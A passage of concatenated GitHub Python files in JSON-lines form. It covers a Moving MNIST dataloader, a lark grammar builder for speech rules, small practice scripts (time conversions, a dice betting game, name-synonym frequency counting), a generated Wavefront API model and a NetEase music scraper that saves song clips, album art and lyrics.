>= 1.0:\n y = 1.0\n # v_y = -v_y\n bounce_y = -bounce_y\n start_y[i] = y\n start_x[i] = x\n\n # Scale to the size of the canvas.\n start_y = (canvas_size * start_y).astype(np.int32)\n start_x = (canvas_size * start_x).astype(np.int32)\n return start_y, start_x\n\n def generate_moving_mnist(self, num_digits=2, background=False):\n '''\n Get random trajectories for the digits and generate a video.\n '''\n if not background: # `black`\n data = np.zeros((self.n_frames_total, self.image_size_,\n self.image_size_), dtype=np.float32)\n else: # cifar-10 as the background\n ind = random.randint(0, self.cifar.shape[0] - 1)\n back = cv2.resize(self.cifar[ind], (self.image_size_, self.image_size_), interpolation=cv2.INTER_CUBIC)\n data = np.repeat(back[np.newaxis, ...], self.n_frames_total, axis=0).astype(np.uint8)\n for n in range(num_digits):\n # Trajectory\n start_y, start_x = self.get_random_trajectory(self.n_frames_total)\n ind = random.randint(0, self.mnist.shape[0] - 1)\n digit_image = self.mnist[ind].copy()\n if background: # binary {0, 255}\n digit_image[digit_image > 1] = 255\n for i in range(self.n_frames_total):\n top = start_y[i]\n left = start_x[i]\n bottom = top + self.digit_size_\n right = left + self.digit_size_\n # Draw digit\n if not background:\n data[i, top:bottom, left:right] = np.maximum(\n data[i, top:bottom, left:right], digit_image)\n else:\n data[i, top:bottom, left:right, ...] = np.maximum(\n data[i, top:bottom, left:right, ...], np.repeat(digit_image[..., np.newaxis], 3, axis=2))\n\n if not background:\n data = data[..., np.newaxis]\n return data\n\n def _augment_seq(self, imgs, crop_scale=0.94):\n \"\"\"Augmentations for video\"\"\"\n _, _, h, w = imgs.shape # original shape, e.g., [10, 1, 64, 64]\n imgs = F.interpolate(imgs, scale_factor=1 / crop_scale, mode='bilinear')\n _, _, ih, iw = imgs.shape\n # Random Crop\n x = np.random.randint(0, ih - h + 1)\n y = np.random.randint(0, iw - w + 1)\n imgs = imgs[:, :, x:x+h, y:y+w]\n # Random Flip\n if random.randint(-2, 1):\n imgs = torch.flip(imgs, dims=(2,3)) # rotation 180\n elif random.randint(-2, 1):\n imgs = torch.flip(imgs, dims=(2, )) # vertical flip\n elif random.randint(-2, 1):\n imgs = torch.flip(imgs, dims=(3, )) # horizontal flip\n return imgs\n\n def __getitem__(self, idx):\n length = self.n_frames_input + self.n_frames_output\n if self.is_train or self.num_objects[0] != 2:\n # Sample number of objects\n num_digits = random.choice(self.num_objects)\n # Generate data on the fly\n images = self.generate_moving_mnist(num_digits, self.background)\n else:\n images = self.dataset[:, idx, ...]\n\n if not self.background:\n r, w = 1, self.image_size_\n images = images.reshape((length, w, r, w, r)).transpose(\n 0, 2, 4, 1, 3).reshape((length, r * r, w, w))\n else:\n images = images.transpose(0, 3, 1, 2)\n\n input = images[:self.n_frames_input]\n if self.n_frames_output > 0:\n output = images[self.n_frames_input:length]\n else:\n output = []\n\n output = torch.from_numpy(output / 255.0).contiguous().float()\n input = torch.from_numpy(input / 255.0).contiguous().float()\n\n if self.use_augment:\n imgs = self._augment_seq(torch.cat([input, output], dim=0), crop_scale=0.94)\n input = imgs[:self.n_frames_input, ...]\n output = imgs[self.n_frames_input:self.n_frames_input+self.n_frames_output, ...]\n\n return input, output\n\n def __len__(self):\n return self.length\n\n\ndef load_data(batch_size, val_batch_size, data_root, num_workers=4, data_name='mnist',\n pre_seq_length=10, aft_seq_length=10, in_shape=[10, 1, 64, 64],\n distributed=False, use_augment=False, use_prefetcher=False, drop_last=False):\n\n image_size = in_shape[-1] if in_shape is not None else 64\n train_set = MovingMNIST(root=data_root, is_train=True, data_name=data_name,\n n_frames_input=pre_seq_length,\n n_frames_output=aft_seq_length, num_objects=[2],\n image_size=image_size, use_augment=use_augment)\n test_set = MovingMNIST(root=data_root, is_train=False, data_name=data_name,\n n_frames_input=pre_seq_length,\n n_frames_output=aft_seq_length, num_objects=[2],\n image_size=image_size, use_augment=False)\n\n dataloader_train = create_loader(train_set,\n batch_size=batch_size,\n shuffle=True, is_training=True,\n pin_memory=True, drop_last=True,\n num_workers=num_workers,\n distributed=distributed, use_prefetcher=use_prefetcher)\n dataloader_vali = create_loader(test_set,\n batch_size=val_batch_size,\n shuffle=False, is_training=False,\n pin_memory=True, drop_last=drop_last,\n num_workers=num_workers,\n distributed=distributed, use_prefetcher=use_prefetcher)\n dataloader_test = create_loader(test_set,\n batch_size=val_batch_size,\n shuffle=False, is_training=False,\n pin_memory=True, drop_last=drop_last,\n num_workers=num_workers,\n distributed=distributed, use_prefetcher=use_prefetcher)\n\n return dataloader_train, dataloader_vali, dataloader_test\n\n\nif __name__ == '__main__':\n from openstl.utils import init_dist\n os.environ['LOCAL_RANK'] = str(0)\n os.environ['RANK'] = str(0)\n os.environ['MASTER_ADDR'] = 'localhost'\n os.environ['MASTER_PORT'] = '12357'\n dist_params = dict(launcher='pytorch', backend='nccl', init_method='env://', world_size=1)\n init_dist(**dist_params)\n\n dataloader_train, _, dataloader_test = \\\n load_data(batch_size=16,\n val_batch_size=4,\n data_root='../../data/',\n num_workers=4,\n data_name='mnist',\n pre_seq_length=10, aft_seq_length=10,\n distributed=True, use_prefetcher=False)\n\n print(len(dataloader_train), len(dataloader_test))\n for item in dataloader_train:\n print(item[0].shape, item[1].shape)\n break\n for item in dataloader_test:\n print(item[0].shape, item[1].shape)\n break\n","repo_name":"chengtan9907/OpenSTL","sub_path":"openstl/datasets/dataloader_moving_mnist.py","file_name":"dataloader_moving_mnist.py","file_ext":"py","file_size_in_byte":11932,"program_lang":"python","lang":"en","doc_type":"code","stars":403,"dataset":"github-code","pt":"61"} +{"seq_id":"70065062275","text":"import uuid\nfrom typing import List, Dict\nimport lark\nfrom recognition.rules import astree\n\ngrammar_cache = {}\n\ndef build_repeat(node):\n if node.repeat_low == 1 and node.repeat_high == 1:\n return ''\n low = node.repeat_low\n if low == 0 and node.repeat_high is None:\n return '*'\n if low == 1 and node.repeat_high is None:\n return '+'\n if low == 0 and node.repeat_high == 1:\n return '?'\n high = 99 if node.repeat_high is None else node.repeat_high \n return f'~{low}' if low == high else f'~{low}..{high}'\n\ndef parse_word(node: astree.WordNode, internal_rules, node_ids, named_utterances):\n text = f'\"{node.text}\" _WS+'\n has_repeat = node.repeat_low != 1 or node.repeat_high != 1\n if has_repeat:\n text = f'({text})'\n return build_lark_rule(node, text, internal_rules, node_ids)\n\ndef parse_rule_reference(node: astree.RuleReference, internal_rules, node_ids, named_utterances):\n referenced_rule = named_utterances[node.rule_name]\n referenced_rule_id = node_ids[referenced_rule]\n return build_lark_rule(node, referenced_rule_id, internal_rules, node_ids)\n\ndef build_lark_rule(node, parsed_text, internal_rules, node_ids):\n repeat = build_repeat(node)\n node_id = node_ids[node]\n internal_rules[node_id] = parsed_text + repeat\n return node_id\n\ndef parse_rule(node, internal_rules, node_ids, named_utterances):\n lark_text = parse_grouping(node.root, internal_rules, node_ids, named_utterances)\n return lark_text\n\ndef parse_grouping(node: astree.GroupingNode, internal_rules, node_ids, named_utterances):\n sequences = []\n for seq in node.sequences:\n sequence_items = []\n for child in seq:\n seq_text = parse_functions[type(child)](child, internal_rules, node_ids, named_utterances)\n sequence_items.append(seq_text)\n joined_items = ' '.join(sequence_items)\n need_parens = len(sequence_items) > 1\n sequences.append(f\"({joined_items})\" if need_parens else joined_items)\n joined_sequences = ' | '.join(sequences)\n lark_text = f'({joined_sequences})'\n return build_lark_rule(node, lark_text, internal_rules, node_ids)\n\nparse_functions = {\n astree.GroupingNode: parse_grouping,\n astree.WordNode: parse_word,\n astree.RuleReference: parse_rule_reference\n}\n\ndef create_lark_grammar(command_utterances, named_utterances, node_ids, utterance_priority):\n lark_rules = create_lark_grammar_list(command_utterances, named_utterances, node_ids)\n map_node_id_to_priority = {}\n for utterance, utterance_id in node_ids.items():\n if utterance in utterance_priority:\n map_node_id_to_priority[utterance_id] = utterance_priority[utterance]\n map_id_to_priority = {}\n rule_lines = []\n for utterance_id, utterance_text in lark_rules:\n priority = map_node_id_to_priority.get(utterance_id, 1)\n priority_text = '' if priority == 1 else f'.{priority}'\n rule_line = f'{utterance_id}{priority_text}: {utterance_text}'\n rule_lines.append(rule_line)\n rule_names = ' | '.join([node_ids[c] for c in command_utterances])\n dictation_rule = named_utterances['_dictation']\n dictation_rule_id = node_ids[dictation_rule]\n word = '[a-zA-Z0-9-\\'\"]'\n rule_lines.append(rf'{dictation_rule_id}: /{word}+([ \\\\t]{word}+)*/')\n rule_lines.append('_WS: /[ \\\\t]/')\n rule_lines.append(f'start: ({rule_names})+ _WS*')\n text = '\\n'.join(rule_lines)\n if text in grammar_cache:\n gram = grammar_cache[text]\n else:\n gram = lark.Lark(text, start='start')\n grammar_cache[text] = gram\n return gram\n\ndef create_lark_grammar_list(command_utterances: List, named_utterances, node_ids):\n lark_named_rules = {}\n lark_command_rules = {}\n lark_internal_rules = {}\n for utterance_name, utterance in named_utterances.items():\n if not utterance_name.startswith('_'):\n lark_named_rules[node_ids[utterance]] = parse_rule(utterance, lark_internal_rules, node_ids, named_utterances)\n for utterance in command_utterances:\n lark_command_rules[node_ids[utterance]] = parse_rule(utterance, lark_internal_rules, node_ids, named_utterances)\n return [(k, v) for k, v in {**lark_named_rules, **lark_command_rules, **lark_internal_rules}.items()]\n\ndef yield_paths(lark_node, node_map, named_utterances, ancestor_path=()):\n path = ancestor_path + (lark_node.data,)\n node = node_map[path]\n matched_text = node_text(node, lark_node, named_utterances)\n yield path, matched_text\n for child in lark_node.children:\n if isinstance(child, lark.Tree):\n yield from yield_paths(child, node_map, named_utterances, path)\n\ndef node_text(node, lark_node, named_utterances):\n if isinstance(node, astree.WordNode):\n return node.text\n elif isinstance(node, astree.Rule) and named_utterances['_dictation'] is node:\n return lark_node.children[0]","repo_name":"osspeak/osspeak","sub_path":"osspeak/recognition/rules/_lark.py","file_name":"_lark.py","file_ext":"py","file_size_in_byte":4917,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"14704902728","text":"import time\n# 1.查看一下2000000000时间戳表示的年月日(时间戳时间转格式化时间)\n# struct_time = time.localtime(2000000000)\n# format_time = time.strftime('%Y-%m-%d %H:%M:%S', struct_time)\n# print(format_time)\n\n# # 2.将2008-8-8转为时间戳时间\n# struct_time = time.strptime(\"2008-8-8\", '%Y-%m-%d')\n# stamp_time = time.mktime(struct_time)\n# print(stamp_time)\n\n# 3.定义一个函数,取出某月1号的时间戳时间\n\n# now_struct_time = time.localtime() # 获取当前结构化时间\n\n# struct_time = time.strptime(\n# '%s-%s-1' % (now_struct_time.tm_year, now_struct_time.tm_mon), '%Y-%m-%d') # 通过上条语句结果获得当前具体的年、月,以便组成指定条件的格式化时间,并将其转为结构化时间\n\n\n# stamp_time = time.mktime(struct_time) # 将结构化时间转为时间戳时间\n\n# print(stamp_time)\n\n\n# 4.计算2018-8-19 22:10:08 2018-8-20 11:07:03的时间差(经过了多少时多少分多少秒)\n\nstruct_time_one = time.strptime('2018-8-19 22:10:08', '%Y-%m-%d %H:%M:%S')\n\nstruct_time_two = time.strptime('2018-8-23 23:10:08', '%Y-%m-%d %H:%M:%S')\n\nsub_time = time.mktime(struct_time_two) - time.mktime(struct_time_one)\n\nst = time.gmtime(sub_time) #gmtime()获取伦敦时间\n\nprint('时间过去了%s月%s天%s时%s分%s秒' %\n (st.tm_mon - 1, st.tm_mday - 1, st.tm_hour, st.tm_min, st.tm_sec))\n\n# lis_one = []\n# for i j in struct_time_one,struct_time_two:\n","repo_name":"yuanbitnu/Study_Python","sub_path":"Python_Study_oldboy/day18(random_time_sys_os模块)/time模块练习.py","file_name":"time模块练习.py","file_ext":"py","file_size_in_byte":1435,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"20803078994","text":"# coding: utf-8\n\n\"\"\"\n Wavefront REST API Documentation\n\n

The REST API enables you to interact with the Wavefront service by using standard REST API tools. You can use the REST API to automate commonly executed operations, for example to tag sources automatically.

When you make REST API calls outside the REST API documentation UI, to authenticate to the service, you must use an API token associated with a user account or a service account. For information on how to get the API token and examples, see Use the Wavefront REST API.

# noqa: E501\n\n OpenAPI spec version: v2\n Contact: chitimba@wavefront.com\n Generated by: https://github.com/swagger-api/swagger-codegen.git\n\"\"\"\n\n\nimport pprint\nimport re # noqa: F401\n\nimport six\n\nfrom wavefront_api_client.configuration import Configuration\n\n\nclass NotificationMessages(object):\n \"\"\"NOTE: This class is auto generated by the swagger code generator program.\n\n Do not edit the class manually.\n \"\"\"\n\n \"\"\"\n Attributes:\n swagger_types (dict): The key is attribute name\n and the value is attribute type.\n attribute_map (dict): The key is attribute name\n and the value is json key in definition.\n \"\"\"\n swagger_types = {\n 'additional_info': 'dict(str, str)',\n 'content': 'str',\n 'created_epoch_millis': 'int',\n 'creator_id': 'str',\n 'deleted': 'bool',\n 'id': 'str',\n 'method': 'str',\n 'name': 'str',\n 'subject': 'str',\n 'updated_epoch_millis': 'int',\n 'updater_id': 'str'\n }\n\n attribute_map = {\n 'additional_info': 'additionalInfo',\n 'content': 'content',\n 'created_epoch_millis': 'createdEpochMillis',\n 'creator_id': 'creatorId',\n 'deleted': 'deleted',\n 'id': 'id',\n 'method': 'method',\n 'name': 'name',\n 'subject': 'subject',\n 'updated_epoch_millis': 'updatedEpochMillis',\n 'updater_id': 'updaterId'\n }\n\n def __init__(self, additional_info=None, content=None, created_epoch_millis=None, creator_id=None, deleted=None, id=None, method=None, name=None, subject=None, updated_epoch_millis=None, updater_id=None, _configuration=None): # noqa: E501\n \"\"\"NotificationMessages - a model defined in Swagger\"\"\" # noqa: E501\n if _configuration is None:\n _configuration = Configuration()\n self._configuration = _configuration\n\n self._additional_info = None\n self._content = None\n self._created_epoch_millis = None\n self._creator_id = None\n self._deleted = None\n self._id = None\n self._method = None\n self._name = None\n self._subject = None\n self._updated_epoch_millis = None\n self._updater_id = None\n self.discriminator = None\n\n if additional_info is not None:\n self.additional_info = additional_info\n if content is not None:\n self.content = content\n if created_epoch_millis is not None:\n self.created_epoch_millis = created_epoch_millis\n if creator_id is not None:\n self.creator_id = creator_id\n if deleted is not None:\n self.deleted = deleted\n if id is not None:\n self.id = id\n if method is not None:\n self.method = method\n if name is not None:\n self.name = name\n if subject is not None:\n self.subject = subject\n if updated_epoch_millis is not None:\n self.updated_epoch_millis = updated_epoch_millis\n if updater_id is not None:\n self.updater_id = updater_id\n\n @property\n def additional_info(self):\n \"\"\"Gets the additional_info of this NotificationMessages. # noqa: E501\n\n\n :return: The additional_info of this NotificationMessages. # noqa: E501\n :rtype: dict(str, str)\n \"\"\"\n return self._additional_info\n\n @additional_info.setter\n def additional_info(self, additional_info):\n \"\"\"Sets the additional_info of this NotificationMessages.\n\n\n :param additional_info: The additional_info of this NotificationMessages. # noqa: E501\n :type: dict(str, str)\n \"\"\"\n\n self._additional_info = additional_info\n\n @property\n def content(self):\n \"\"\"Gets the content of this NotificationMessages. # noqa: E501\n\n\n :return: The content of this NotificationMessages. # noqa: E501\n :rtype: str\n \"\"\"\n return self._content\n\n @content.setter\n def content(self, content):\n \"\"\"Sets the content of this NotificationMessages.\n\n\n :param content: The content of this NotificationMessages. # noqa: E501\n :type: str\n \"\"\"\n\n self._content = content\n\n @property\n def created_epoch_millis(self):\n \"\"\"Gets the created_epoch_millis of this NotificationMessages. # noqa: E501\n\n\n :return: The created_epoch_millis of this NotificationMessages. # noqa: E501\n :rtype: int\n \"\"\"\n return self._created_epoch_millis\n\n @created_epoch_millis.setter\n def created_epoch_millis(self, created_epoch_millis):\n \"\"\"Sets the created_epoch_millis of this NotificationMessages.\n\n\n :param created_epoch_millis: The created_epoch_millis of this NotificationMessages. # noqa: E501\n :type: int\n \"\"\"\n\n self._created_epoch_millis = created_epoch_millis\n\n @property\n def creator_id(self):\n \"\"\"Gets the creator_id of this NotificationMessages. # noqa: E501\n\n\n :return: The creator_id of this NotificationMessages. # noqa: E501\n :rtype: str\n \"\"\"\n return self._creator_id\n\n @creator_id.setter\n def creator_id(self, creator_id):\n \"\"\"Sets the creator_id of this NotificationMessages.\n\n\n :param creator_id: The creator_id of this NotificationMessages. # noqa: E501\n :type: str\n \"\"\"\n\n self._creator_id = creator_id\n\n @property\n def deleted(self):\n \"\"\"Gets the deleted of this NotificationMessages. # noqa: E501\n\n\n :return: The deleted of this NotificationMessages. # noqa: E501\n :rtype: bool\n \"\"\"\n return self._deleted\n\n @deleted.setter\n def deleted(self, deleted):\n \"\"\"Sets the deleted of this NotificationMessages.\n\n\n :param deleted: The deleted of this NotificationMessages. # noqa: E501\n :type: bool\n \"\"\"\n\n self._deleted = deleted\n\n @property\n def id(self):\n \"\"\"Gets the id of this NotificationMessages. # noqa: E501\n\n\n :return: The id of this NotificationMessages. # noqa: E501\n :rtype: str\n \"\"\"\n return self._id\n\n @id.setter\n def id(self, id):\n \"\"\"Sets the id of this NotificationMessages.\n\n\n :param id: The id of this NotificationMessages. # noqa: E501\n :type: str\n \"\"\"\n\n self._id = id\n\n @property\n def method(self):\n \"\"\"Gets the method of this NotificationMessages. # noqa: E501\n\n The notification method, can either be WEBHOOK, EMAIL or PAGERDUTY # noqa: E501\n\n :return: The method of this NotificationMessages. # noqa: E501\n :rtype: str\n \"\"\"\n return self._method\n\n @method.setter\n def method(self, method):\n \"\"\"Sets the method of this NotificationMessages.\n\n The notification method, can either be WEBHOOK, EMAIL or PAGERDUTY # noqa: E501\n\n :param method: The method of this NotificationMessages. # noqa: E501\n :type: str\n \"\"\"\n allowed_values = [\"WEBHOOK\", \"PAGERDUTY\", \"EMAIL\"] # noqa: E501\n if (self._configuration.client_side_validation and\n method not in allowed_values):\n raise ValueError(\n \"Invalid value for `method` ({0}), must be one of {1}\" # noqa: E501\n .format(method, allowed_values)\n )\n\n self._method = method\n\n @property\n def name(self):\n \"\"\"Gets the name of this NotificationMessages. # noqa: E501\n\n The alert target name, easier to read than ID # noqa: E501\n\n :return: The name of this NotificationMessages. # noqa: E501\n :rtype: str\n \"\"\"\n return self._name\n\n @name.setter\n def name(self, name):\n \"\"\"Sets the name of this NotificationMessages.\n\n The alert target name, easier to read than ID # noqa: E501\n\n :param name: The name of this NotificationMessages. # noqa: E501\n :type: str\n \"\"\"\n\n self._name = name\n\n @property\n def subject(self):\n \"\"\"Gets the subject of this NotificationMessages. # noqa: E501\n\n\n :return: The subject of this NotificationMessages. # noqa: E501\n :rtype: str\n \"\"\"\n return self._subject\n\n @subject.setter\n def subject(self, subject):\n \"\"\"Sets the subject of this NotificationMessages.\n\n\n :param subject: The subject of this NotificationMessages. # noqa: E501\n :type: str\n \"\"\"\n\n self._subject = subject\n\n @property\n def updated_epoch_millis(self):\n \"\"\"Gets the updated_epoch_millis of this NotificationMessages. # noqa: E501\n\n\n :return: The updated_epoch_millis of this NotificationMessages. # noqa: E501\n :rtype: int\n \"\"\"\n return self._updated_epoch_millis\n\n @updated_epoch_millis.setter\n def updated_epoch_millis(self, updated_epoch_millis):\n \"\"\"Sets the updated_epoch_millis of this NotificationMessages.\n\n\n :param updated_epoch_millis: The updated_epoch_millis of this NotificationMessages. # noqa: E501\n :type: int\n \"\"\"\n\n self._updated_epoch_millis = updated_epoch_millis\n\n @property\n def updater_id(self):\n \"\"\"Gets the updater_id of this NotificationMessages. # noqa: E501\n\n\n :return: The updater_id of this NotificationMessages. # noqa: E501\n :rtype: str\n \"\"\"\n return self._updater_id\n\n @updater_id.setter\n def updater_id(self, updater_id):\n \"\"\"Sets the updater_id of this NotificationMessages.\n\n\n :param updater_id: The updater_id of this NotificationMessages. # noqa: E501\n :type: str\n \"\"\"\n\n self._updater_id = updater_id\n\n def to_dict(self):\n \"\"\"Returns the model properties as a dict\"\"\"\n result = {}\n\n for attr, _ in six.iteritems(self.swagger_types):\n value = getattr(self, attr)\n if isinstance(value, list):\n result[attr] = list(map(\n lambda x: x.to_dict() if hasattr(x, \"to_dict\") else x,\n value\n ))\n elif hasattr(value, \"to_dict\"):\n result[attr] = value.to_dict()\n elif isinstance(value, dict):\n result[attr] = dict(map(\n lambda item: (item[0], item[1].to_dict())\n if hasattr(item[1], \"to_dict\") else item,\n value.items()\n ))\n else:\n result[attr] = value\n if issubclass(NotificationMessages, dict):\n for key, value in self.items():\n result[key] = value\n\n return result\n\n def to_str(self):\n \"\"\"Returns the string representation of the model\"\"\"\n return pprint.pformat(self.to_dict())\n\n def __repr__(self):\n \"\"\"For `print` and `pprint`\"\"\"\n return self.to_str()\n\n def __eq__(self, other):\n \"\"\"Returns true if both objects are equal\"\"\"\n if not isinstance(other, NotificationMessages):\n return False\n\n return self.to_dict() == other.to_dict()\n\n def __ne__(self, other):\n \"\"\"Returns true if both objects are not equal\"\"\"\n if not isinstance(other, NotificationMessages):\n return True\n\n return self.to_dict() != other.to_dict()\n","repo_name":"wavefrontHQ/python-client","sub_path":"wavefront_api_client/models/notification_messages.py","file_name":"notification_messages.py","file_ext":"py","file_size_in_byte":11964,"program_lang":"python","lang":"en","doc_type":"code","stars":11,"dataset":"github-code","pt":"61"} +{"seq_id":"7480014583","text":"# -*- coding: utf-8 -*-\n# 写一个投骰子打赌的游戏\n'''\n游戏规则,玩家和庄家进行完投筛子游戏\n玩家和庄家各10个银币\n游戏开始庄家投筛子,玩家猜大小\n如果点数==7 和\n如果点数<7 玩家猜小,玩家赢;玩家猜大,玩家输\n如果点数>7 玩家猜大,玩家赢;玩家猜小,玩家输\n当有一方的银币为零的时候,游戏结束\n编程有什么难的,不过流程控制\n\n编程就是死的,有什么问题,你就去解决什么问题,一定有办法解决的,如果没解决掉,你需要给你的大脑洗脑了,如果你觉得你很笨,用百度总是找不到你需要的东西,不是因为你真的笨而是英文百度太垃圾了\n\n'''\nfrom random import randrange\ncoin_user, coin_bot = 10, 10\nrounds_of_game = 0\n\n\ndef bet(dice, wager):\n if dice == 7:\n return 0\n elif dice < 7:\n if wager == 's':\n print(f'the dice is {dice} you win')\n return 1\n else:\n print(f'the dice is {dice} you lost')\n return -1\n elif dice > 7:\n if wager == 'b':\n print(f'the dice is {dice} you win')\n return 1\n else:\n print(f'the dice is {dice} you lost')\n return -1\n\n\nwhile True:\n print(f'your coin{coin_user}, bot coin{coin_bot}')\n wager = input('your bet ?')\n dice = randrange(2, 12)\n if wager == 'q':\n break\n elif wager in 'bs':\n result = bet(dice, wager)\n coin_user += result\n coin_bot -= result\n rounds_of_game += 1\n if coin_user == 0:\n print(f'Woops, you lost')\n break\n if coin_bot == 0:\n print(f'Woops,you winner')\n\n\nprint(f'you\\'ve played {rounds_of_game}rounds')\nprint(f'you have coin{coin_user} now')\n\n\n","repo_name":"PoliWen/python","sub_path":"betgame.py","file_name":"betgame.py","file_ext":"py","file_size_in_byte":1790,"program_lang":"python","lang":"zh","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"70110985154","text":"#Each year, the government releases a list of the 10000 most common baby names and their frequencies (the number of babies with that name). The only problem with this is that some names have multiple spellings. For example, \"John\" and \"Jon\" are essentially the same but would be linked separately in the list. Given two lists, one of names/frequencies, and the other of pairs of equivalent names, write an algorithm to print a new list of the true frequency of each name. Note that if John and Jon are synonyms and Jon and Johnny are synonyms, then John and Johnny are synonyms. (It is both transitive and symmetric.) In the final list, any name can be used as the \"real\" name.\n\nnames = {\"John\":15, \"Jon\":12, \"Chris\":13, \"Kris\":4, \"Christopher\":19}\nsynonyms = [[\"Jon\",\"John\"],[\"John\",\"Johnny\"],[\"Chris\",\"Kris\"],[\"Chris\",\"Christopher\"]]\n\n\nclass Node:\n def __init__(self,name,value):\n self.name = name\n self.value = value\n self.neighbors = []\n\nclass Graph:\n def __init__(self):\n self.nodelist = {}\n self.numnodes = 0\n\n def addNode(self, name, value):\n nnode = Node(name,value)\n self.numnodes += 1\n self.nodelist[name] = nnode\n\n def addEdge(self, A, B):\n for each in [A, B]:\n if each not in self.nodelist:\n self.addNode(each,0)\n self.nodelist[A].neighbors.append(self.nodelist[B])\n self.nodelist[B].neighbors.append(self.nodelist[A])\n\n def trueFreq(self, names, syn):\n for n in names:\n self.addNode(n, names[n])\n for s in syn:\n self.addEdge(s[0], s[1])\n final = {}\n visited = set()\n for nd in self.nodelist:\n if nd not in visited:\n final[nd] = self.dfsCount(self.nodelist[nd], visited)\n return final\n\n def dfsCount(self, innode, seen):\n count = innode.value\n seen.add(innode.name)\n print(\"node: {}, neighbors: {}\".format(innode.name,[i.name for i in innode.neighbors]))\n for neigh in innode.neighbors:\n if neigh.name not in seen:\n count += self.dfsCount(neigh, seen)\n return count\n\nnameGraph = Graph()\nprint(nameGraph.trueFreq(names, synonyms))\n","repo_name":"Cammac7/CodingPractice","sub_path":"python/chapter17/17-7.py","file_name":"17-7.py","file_ext":"py","file_size_in_byte":2214,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"39237487592","text":"import requests,os,json,re\nfrom scrapy.selector import Selector\nfrom urllib import request\nimport requests\nimport re\nfrom bs4 import BeautifulSoup\nfrom pprint import pprint\nimport urllib, time\nfrom pydub import AudioSegment\n\nclass song:\n SongID=\"\"\n Domain= \"\"\n AlbumName=\"\"\n SingerName=\"\"\n SongName = \"\"\n AlbumImgPath=\"\"\n AlbumImgOnlinePath = \"\"\n SongPath=\"\"\n Lyrics=\"\"\n\n\nclass NetEaseMusic():\n def __init__(self):\n self.headers = {\n 'Host': 'music.163.com',\n 'Referer': 'https://music.163.com/',\n 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.87 Safari/537.36'\n }\n self.main_url='http://music.163.com/'\n self.session = requests.session()\n self.session.headers.update(self.headers)\n\n def get_songids(self,playlist):\n url=self.main_url+'playlist?id=%d'% playlist\n r = self.session\n r = BeautifulSoup(r.get(url, headers=self.headers).content, \"html.parser\")\n result = r.find('ul', {'class': 'f-hide'}).find_all('a')\n mysongs = []\n #count=1\n for music in result:\n #count+=1\n\n song_id = music['href'].strip(\"/song?id=\")\n mysongs.append(song_id)\n\n\n\n return mysongs #所有歌曲id组成的list\n\n def save_img(self,url,file_name):\n img= requests.get(url)\n f = open(file_name, 'ab')\n f.write(img.content)\n print(file_name, ' Save and convert image into png successfully!')\n f.close()\n\n\n def sava_song(self,song_id):\n try:\n song_url = 'http://music.163.com/song/media/outer/url?id=%s.mp3' % song_id\n song_name= '%s.mp3' % song_id\n urllib.request.urlretrieve(song_url, song_name)\n mp3 = AudioSegment.from_mp3(song_name)\n mp3[:60 * 1000].export(song_name, format=\"mp3\") # 切割前60秒并覆盖保存\n print('%s.mp3' % song_id, \" Save and cut song successfully!\")\n return 1\n except:\n print(\"[error] Please confirm whether the song id is correct or whether the song is charged.\")\n return 0\n\n def save_json(self, a):\n file_name= a.SongID+\".json\"\n temp_dict={}\n temp_dict['SongID'] =a.SongID\n temp_dict['Domain'] = a.Domain\n temp_dict['AlbumName'] = a.AlbumName\n temp_dict['SingerName'] = a.SingerName\n temp_dict['SongName'] = a.SongName\n temp_dict['AlbumImgPath'] = a.AlbumImgPath\n temp_dict[' AlbumImgOnlinePath'] = a. AlbumImgOnlinePath\n temp_dict['SongPath'] = a.SongPath\n temp_dict['Lyrics'] = a.Lyrics\n print(\"Song: \"+ a.SongName,\"Singer: \"+ a.SingerName, \"Album: \"+ a.AlbumName)\n\n with open(file_name, 'w') as f:\n json.dump(temp_dict,f)\n\n\n def get_songinfos(self,mysongs,domain):\n '''根据songid进入每首歌对应的url,拿到歌手名字,url就是:\"http://music.163.com/song?id=64006\"'''\n count= 1\n for myid in mysongs:\n\n print (count)\n if count > 25:\n break\n\n a= song()\n a.SongID = myid\n\n a.SongPath = a.SongID + '.mp3'\n if self.sava_song(a.SongID) == 0: #保存到本地音乐失败\n continue\n\n url=self.main_url+\"song?id=\"+ a.SongID\n r = self.session\n r = BeautifulSoup(r.get(url, headers=self.headers).content, \"html.parser\")\n a.SongName = r.find('em', {'class': 'f-ff2'}).text\n\n result= r.find_all('p', {'class': 'des s-fc4'}) #有两个class一样的,第一个是歌手名字,第二个是专辑名字\n a.SingerName=result[0].find('a',{'class': 's-fc7'}).text\n a.AlbumName= result[1].find('a',{'class': 's-fc7'}).text\n\n a.AlbumImgOnlinePath= r.find('div',{'class': 'u-cover u-cover-6 f-fl'}).find('img')['data-src']\n a.AlbumImgPath= a.SongID +'.png' # 格式转化成png\n self.save_img(a.AlbumImgOnlinePath, a.AlbumImgPath) #保存到本地\n\n a.Lyrics= self.get_music_lyric(a.SongID)\n a.Domain= domain\n self.save_json(a)\n count += 1\n\n\n\n\n def get_music_lyric(self,song_id):\n url = 'http://music.163.com/api/song/lyric?os=pc&id={}&lv=-1&kv=-1&tv=-1'.format(song_id)\n headers = {\n 'Accept': '*/*',\n 'Accept-Encoding': 'gzip,deflate,sdch',\n 'Accept-Language': 'zh-CN,zh;q=0.8',\n 'Connection': 'keep-alive',\n 'Content-Type': 'application/x-www-form-urlencoded',\n 'Host': 'music.163.com',\n 'Referer': 'http://music.163.com/search/',\n 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.133 Safari/537.36'\n }\n\n cookies = {'appver': '1.5.2'}\n\n try:\n r = requests.get(url, headers=headers, cookies=cookies)\n if 'lrc' in r.json() and 'lyric' in r.json()['lrc'] and r.json()['lrc']['lyric'] is not None:\n lrc = r.json()['lrc']['lyric']\n pat = re.compile(r'\\[.*\\]') # 把每行歌词前面的时间点去掉\n lrc = re.sub(pat, \"\", lrc)\n return lrc\n else:\n return []\n except requests.exceptions.RequestException as e:\n print(e)\n return []\n\n def work(self,playlist,domain):\n mysongs=self.get_songids(playlist)\n 